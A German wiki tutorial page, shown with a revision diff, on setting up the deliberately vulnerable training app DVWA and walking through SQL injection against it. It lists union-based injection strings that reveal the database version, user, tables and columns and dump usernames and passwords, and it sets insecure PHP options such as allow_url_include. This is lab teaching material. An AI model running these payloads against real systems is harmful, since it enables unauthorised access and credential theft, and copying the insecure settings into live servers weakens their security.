Apache / Php / Mysql: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 72: Zeile 72:
 
Ziel ist es durch die Benutzereingabe Code einzufügen, der vom Datenbanksystem ausgeführt wird.
 
Ziel ist es durch die Benutzereingabe Code einzufügen, der vom Datenbanksystem ausgeführt wird.
  
*Eingabe in Textbox - Ausgabe aller User:
+
===Beispielhafte Eingaben zur Manipulation===
 +
 
 +
*Ausgabe aller User:
 
  %' or '0'='0
 
  %' or '0'='0
*Eingabe in Textbox - Ausgabe der Datenbackversion (ganz unten)
+
*Ausgabe der Datenbackversion (ganz unten)
 
  %' or 0=0 union select null, version() #
 
  %' or 0=0 union select null, version() #
 
+
*Ausgabe des Db Benutzers der die Abfragen durchführt
 
+
%' or 0=0 union select null, user() #
*Eingabe von %' or 0=0 union select null, user() # in Textbox
+
*Ausgabe der aktuellen Datenbank
-> Ausgabe des Db Benutzers der die Abfragen durchführt
+
%' or 0=0 union select null, database() #
* Eingabe von %' or 0=0 union select null, database() # in Textbox
+
*Ausgabe aller Tabellen die mit user beginnen
-> Ausgabe der aktuellen Datenbank
+
%' or 0=0 union select null, table_name from information_schema.tables where table_name like 'user%' #
* Eingabe von %' or 0=0 union select null, table_name from information_schema.tables where table_name like 'user%' # in Textbox
+
*Ausgabe aller Felder in der Tabelle users
-> Ausgabe aller Tabellen die mit user beginnen
+
%' or 0=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #  
*%' or 0=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #  
+
0x0a: Zeilenumbruch
-> Ausgabe aller Felder in der Tabelle users
+
*Ausgabe der Benutzer und Passwoerter
<br>0x0a: Zeilenumbruch
+
%' or 0=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
* %' or 0=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
 
-> Ausgabe der Benutzer und Passwoerter
 

Version vom 13. November 2017, 15:22 Uhr

DVWA - Damn Vulnerable Web App

Voraussetzungen

  • Apache, Mysql, installiert
apt-get install apache2 mysql-server 
  • php < 7.0 muss installiert sein
Ubuntu 16.04:
sudo add-apt-repository ppa:ondrej/php
apt-get update
apt-get install php5.6 php5.6-mysql php5.6-gd
php -v

Installation DVWA

  • Nach dem Download Entpacken und Verschieben ins DocumentRoot
unzip DVWA-master.zip
mv DVWA-master /var/www/html/dvwa
  • cd /var/www/html/dvwa/
  • cp config/config.inc.php.dist config/config.inc.php
  • vi config
  • Anpassen der Konfiguration dvwa:
vi config/config.inc.php:
$_DVWA[ 'db_password' ] = 'das_vergebene_passwort';
Falls das Insecure Captcha Modul benutzt werden soll:
$_DVWA[ 'recaptcha_public_key = 
$_DVWA[ 'recaptcha_private_key = 

Die Werte für die beiden Optionen müssen zuerst generiert werden (ein google Account ist Voraussetzung): https://www.google.com/recaptcha/admin/create

  • Anpassen der php Konfiguration:
vi /etc/php/5.6/apache2/php.ini
allow_url_include = on
allow_url_fopen = on
safe_mode = off
magic_quotes_gpc = off (fuer php <= 5.4)
service apache2 restart
  • Anpassen der Verzeichnisrechte:
chown www-data hackable/uploads/
chown www-data external/phpids/0.6/lib/IDS/tmp/phpids_log.txt
  • Anpassen der .htaccess Datei
vi .htaccess
<IfModule mod_php5.c>
  php_flag magic_quotes_gpc Off
  #php_flag allow_url_fopen on
  #php_flag allow_url_include on
</IfModule>

ersetzen durch:

<IfModule mod_php5.c>
   magic_quotes_gpc = Off
   allow_url_fopen = On
   allow_url_include = On
</IfModule>
Username: admin
Passwort: password

Direkt nach der Installation ist die Anwendung 'sicher' eingestellt. Das Sicherheitslevel kann unter DVWA Security angepasst werden.


SQL Injection mit DVWA

  • Sicherheitslevel low
  • SQL Injection aufrufen
  • Normale Eingabe in Textbox:
1

Ausgabe von ID, Vorname und Nachname

SQL Abfrage auf der Datenbank:

SELECT first_name, last_name FROM users WHERE user_id = '1'

Ziel ist es durch die Benutzereingabe Code einzufügen, der vom Datenbanksystem ausgeführt wird.

Beispielhafte Eingaben zur Manipulation

  • Ausgabe aller User:
%' or '0'='0
  • Ausgabe der Datenbackversion (ganz unten)
%' or 0=0 union select null, version() #
  • Ausgabe des Db Benutzers der die Abfragen durchführt
%' or 0=0 union select null, user() #
  • Ausgabe der aktuellen Datenbank
%' or 0=0 union select null, database() #
  • Ausgabe aller Tabellen die mit user beginnen
%' or 0=0 union select null, table_name from information_schema.tables where table_name like 'user%' #
  • Ausgabe aller Felder in der Tabelle users
%' or 0=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' # 

0x0a: Zeilenumbruch

  • Ausgabe der Benutzer und Passwoerter
%' or 0=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #